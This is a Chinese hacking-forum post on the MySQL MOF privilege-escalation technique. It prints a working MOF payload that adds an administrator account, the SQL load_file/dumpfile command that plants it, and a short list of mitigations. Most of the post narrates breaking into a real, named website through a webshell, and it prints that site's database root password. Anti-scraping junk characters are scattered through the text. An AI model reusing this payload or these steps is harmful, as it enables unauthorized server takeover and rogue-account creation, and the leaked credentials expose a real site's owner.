找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法) x+ ^5 x* W1 C' L7 y

* x* y/ B/ b  e9 ?9 A# @( {+ n& w网上公开的一些利用代码:1 B* d: Y( M& a% H: }

* w( m6 g0 c# o( o8 H* y#pragma namespace(“\\\\.\\root\\subscription”)
+ e* n) q1 q$ s8 ^9 b2 M0 o. R8 [) @, ?% {
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };+ e  U3 W; H; f9 Y
0 ?' V! e+ n5 ~1 L3 V

; |5 y( s. P% r1 a$ x( s
- x2 l$ N+ p" k ) a' W) A3 D+ E2 J, A

& f' K+ G3 p, n: i6 I$ E连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 p, I% V5 c3 B, z) v9 Q
从上面代码来看得出解决办法:
7 O( m! |( B2 h, V% s* d
, `* B2 |5 ?4 h9 d1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数: _' ]* o* M) e' d
. P* x# C1 F7 J) Z$ [
2、禁止使用”WScript.Shel”组件
2 k% I/ [: Z9 I$ l8 ?, n- E  |9 I' c, t8 Y+ Z
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
- b2 K3 R, B, u( d9 {) a/ M" A& K& ~7 ]
0 Z7 L3 p3 H' P( Q8 t( H7 w7 P! j当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下* P' w* K% }+ n7 E; m) t5 W
( K# V6 e( _3 |% l3 }) g7 R
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
7 g3 `) j" y7 \9 ^$ o- \6 W% W; K' i* {4 H
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
) ?0 Q# m4 R2 Z! d: q5 b+ G: y* u$ N5 H6 A9 X% G5 A
看懂了后就开始练手吧
2 t8 b. _0 m! a9 v# S; J; w, z, m8 O0 E
http://www.webbmw.com/config/config_ucenter.php 一句话 a
, f2 N, U. M  E( p6 `# }# G8 ]4 M' H" [6 L$ }7 Q
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。* X6 _7 n8 b1 X

6 w+ t6 }1 d! [1 g) {" t# I/ F于是直接用菜刀开搞
! C6 ~- K7 W1 t) Z% b7 f8 i
/ E7 ]9 m2 ^. n' \$ Z# y上马先! d" A9 i3 z) }& N4 k
) C5 {5 u" B/ t0 ?' |# ~# h+ U" c1 o
既然有了那些账号 之类的 于是我们就执行吧…….
! e6 Y) |( C( A7 [. ?6 r& y& x; b
小小的说下
( G; j) [9 {/ B) v; k
5 R5 D1 ^( `$ r4 E( Q6 U在这里第1次执行未成功        原因未知
  w' ^) o4 v8 u( X1 X
; N1 k' s/ C& ?7 O/ }; }我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。, _9 I/ a: B0 H2 K; r; o& O+ H

) d. b) R! f0 U) P2 j#pragma namespace(“\\\\.\\root\\subscription”)
9 d2 y: W- s4 A: ~5 E5 L
8 f/ n  W0 }- `6 e. minstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
3 ]) q) O/ e, a; D2 ^: L) @
# l+ l+ r9 K$ g6 c* }* J我是将文件放到C:\WINDOWS\temp\1.mof
; g5 S) L. q9 G( [
  ~; W$ W) b! m! Y4 E4 g( K& `所以我们就改下执行的代码8 H5 X* j# g: t% F

( \4 b. e* }' I' rselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
# z; E3 `# ~7 f5 n
# k: f$ F: k" o$ @4 x. F
3 n$ |, w6 g& W/ x$ p: j' v) t
3 a+ `5 U' P: c6 S$ q, p; p+ p! }但是 你会发现账号还是没有躺在那里。。
. `5 b0 G8 {$ t4 E& j0 d) a8 [  N* I7 b3 M9 }  f$ h
于是我就感觉蛋疼5 ]* N& q+ r+ x# h

6 ]) B* D" P4 R0 c就去一个一个去执行 但是执行到第2个 mysql时就成功了………
( c2 Q$ }  f/ B9 E- x
5 n! W( ~/ u2 L: m) v+ {7 c) [% U* ?, ]; O7 j, L4 [4 a9 H
0 Z1 b: {4 a" h9 a: Y
但是其他库均不成功…
) e+ g3 W' B6 C; |# e) P9 F5 K1 |. E* {8 @5 m2 K0 K9 @# m
我就很费解呀 到底为什么不成功求大牛解答…0 W  B1 i" W8 u

, A/ z$ c$ P8 }! h$ S9 ~; S: J; K5 R2 n. [# j8 U/ ?/ [% [# T# G8 ]
  J6 \1 O4 ^% ~8 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表